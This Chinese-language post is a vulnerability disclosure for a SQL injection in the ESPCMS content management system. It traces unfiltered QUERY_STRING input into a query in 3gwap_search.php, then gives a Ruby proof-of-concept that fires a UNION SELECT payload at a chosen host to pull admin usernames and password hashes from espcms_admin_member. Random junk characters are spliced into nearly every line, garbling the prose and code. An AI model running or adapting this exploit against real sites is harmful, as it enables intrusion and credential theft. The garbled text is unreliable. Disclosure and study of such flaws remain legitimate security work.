0×0 漏洞概述0×1 漏洞细节
8 y- t+ L* v7 Z0×2 PoC
4 G& U U3 A, x" ^; n& o
9 ]1 z3 Q& X9 S; D4 v/ {8 J$ k. |8 C+ c
: y; F0 p/ F+ V2 |
0×0 漏洞概述
* \4 e. Q% g% X k" m" f. }
^( G: c+ d) M/ T- ]易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
9 W* z0 y6 |) ^+ h8 T其在处理传入的参数时考虑不严谨导致SQL注入发生& K# f. Q* S5 M# i3 M+ h* w
* s- U6 b8 ~. L' l9 A) V+ H; `
* ~$ w3 R/ X$ k g0 Y
0×1 漏洞细节
9 G7 q/ `$ w% }2 p9 C
8 p. y, |. q8 R" @( }; G# A变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
8 J9 K, f) K, A& T# Z, U正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
% E- \- I$ d6 [! l5 w) e9 q* C而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
2 m: Y$ h: A9 I( k' r1 b' N, G& n A" ?
在/interface/3gwap_search.php文件的in_result函数中:. M0 H5 V c7 f
3 Z* r7 R3 B' H, q+ e% ?
( y& x$ R6 C/ Z
0 _9 Y& e" b3 {# \. X7 R$ Q
function in_result() {' Q( r' K0 w+ C. d6 _6 W. g! T# ~
... ... ... ... ... ... ... ... ...9 k9 _8 r+ z) K$ V. v. U& X) Z
$urlcode = $_SERVER[ 'QUERY_STRING '];
4 I7 k9 a0 L( e3 F+ m parse_str(html_entity_decode($urlcode), $output);3 s% D1 ~& U q+ t1 z
& }' U2 M8 g+ b6 E
... ... ... ... ... ... ... ... ... A+ ^/ E5 t$ d V+ F5 ]! I7 {
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
2 _9 ?( Z0 Q5 ?: |/ i- M! c8 V3 T3 H1 ^5 |% j
$db_table = db_prefix . 'model_att';* U; ?$ i9 P7 X5 D
9 \& k# q' n6 Y- B& M" E
foreach ($output['attr' ] as $key => $value) {$ i( B# p" m, o- \
if ($value) {
. V3 e/ W ^& o; u- v, Y1 g l" I
$key = addslashes($key);
& J9 G9 J" f9 p p $key = $this-> fun->inputcodetrim($key);
! ?- x, ?6 u6 b! R $db_att_where = " WHERE isclass=1 AND attrname='$key'";
% ^- F4 \' A. j/ }! _$ m+ k6 s $countnum = $this->db_numrows($db_table, $db_att_where);
* N' [5 J# X# T5 |; l if ($countnum > 0) {
" `) K; D. `' N $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;9 \# d3 m; |1 {, e' i
}1 ?' N) r" }; d, i1 i
}
' a) b2 y$ H: z" E. U. ?1 s }
8 O! f+ S; m- z4 ^. X }1 H! E7 T; r5 M" c5 v& H3 F
if (!empty ($keyword) && empty($keyname)) {
@$ M+ S2 s- h3 H. m. J7 v $keyname = 'title';
* C F |7 W5 [) u: g $db_where.= " AND a.title like '%$keyword%'" ;
+ v. U5 K6 c7 o } elseif (!empty ($keyword) && !empty($keyname)) {
" j! U9 B, b z6 J! }* ?& L $db_where.= " AND $keyname like '% $keyword%'";
7 L$ d# F: [* ] }7 G. ?/ d2 v Y! Y
$pagemax = 15;
9 t, X! S$ u# Z2 W- x5 a$ @/ Z- N* H' ?! [( a* _( `( o6 s
$pagesylte = 1;
" i: O4 ?0 m0 P1 e* n. A% d6 K7 s1 b6 V# ~/ G' a2 [9 G
if ($countnum > 0) {
# Q6 l2 J, I) a7 [: Q8 H6 z& n
1 k% F1 X$ i) P$ O$ k8 A $numpage = ceil($countnum / $pagemax);
3 q. t# Z9 s: V) o" c- h } else {5 A! y) n: O4 |/ N( p1 M2 t- M, b
$numpage = 1;
) a, e$ e% }0 E }
7 ~; G6 h" C/ k% K2 c5 e $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;# A% Z9 u$ w1 D8 w
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
0 j: P O/ \" N4 l$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
1 d$ B. Q4 H" G/ H3 o4 O5 n ... ... ... ... ... ... ... ... ...
0 ]# a9 C# Y$ L }" f. z. n. b( X) _! z/ l5 I8 c
# P/ p1 @, q+ m# a' e7 z6 ]. ?* t% s# j8 M( r. L
0×2 PoC9 m& X* Y0 Z; n" v# u' L
9 E2 d% t* f8 u N' `; O
9 l+ C% n! N. e$ ?. [% O! g
) D# K% ~$ c0 P4 G$ y! {/ grequire "net/http"
8 r/ @- C0 D' p, {2 Z" A0 l# { S3 R8 C, J1 {
def request(method, url)* f5 V x! Q4 S9 u) K7 T2 E& q8 C
if method.eql?("get")& F6 n( G) j4 s
uri = URI.parse(url)
) ?+ E3 `8 I7 a$ L- z$ _! H http = Net::HTTP.new(uri.host, uri.port): g5 c7 F S, o7 _2 w
response = http.request(Net::HTTP::Get.new(uri.request_uri))8 l0 h! K# `( s* ^- I; ]) ~/ @
return response
# ^2 ]& U$ }2 x) J. U: j end
3 x( G9 A" E Z0 V; B; o, eend" y- E1 C& N& J" m+ Y2 I
4 O& y9 h; `% n! g0 u2 Mdoc =<<HERE
8 ^2 e2 N7 c$ a7 G. d9 D-------------------------------------------------------: K4 W$ b) ]0 I7 Q' K( m& _
Espcms Injection Exploit
3 J. u! Q8 p* `$ ]( ^% h: _( yAuthor:ztz+ q( q0 X2 j2 d0 I% B
Blog:http://ztz.fuzzexp.org/
, C0 a P( @* B2 f& N-------------------------------------------------------
! b( ~3 p, h5 z" f% t3 v& c3 ~# s+ ]: R6 ^+ D! k+ e: S+ |6 g- A. G4 z6 T7 I
HERE- d( m6 j. h4 k; g& J5 }5 ^9 G
1 C H3 A1 P* k# g9 {
usage =<<HERE
7 _0 l/ a: _# f4 c9 f) O5 `* WUsage: ruby #{$0} host port path, k# o2 n0 _; ^/ b3 f1 J- i* U
example: ruby #{$0} www.target.com 80 /& f( F4 @( u/ O) S* K
HERE9 E$ a2 {' P A, c8 @
8 s( ^1 m# \7 P7 @
puts doc
! `9 N7 _ P+ `- y) A$ Mif ARGV.length < 3" B7 q2 ]1 ?, `# H- v7 m; T- ?6 q
puts usage- \3 A& H, L. [& e6 K3 |) G* m
else
6 _- M' O/ p J* \% b $host = ARGV[0]" ^( p6 W/ s( E- L" k
$port = ARGV[1]
5 l. h" w, W; f; r L $path = ARGV[2]* w, H0 Q$ X7 |9 B7 a8 F
* u2 A e0 V* h2 [8 L$ H
puts "send request..."
& h: N0 W1 ~7 { url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
! S) f1 G0 |8 ]+ z0 hattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
6 ?& K- H0 l3 u9 ?: l) m* a,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
% ]" R+ E* ^6 i" w,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
+ u5 F$ @. q" W$ S! p7 y response = request("get", url)7 M. G% n' w* w3 u; Y
result = response.body.scan(/\w+&\w{32}/)+ y/ `. b. t0 k5 x3 w
puts result
/ s( D9 v& Z* q. |% Z& Vend
$ u9 }' G$ e1 ?( `2 s6 {5 P
% t* B6 k9 \! l! m+ C' j* G |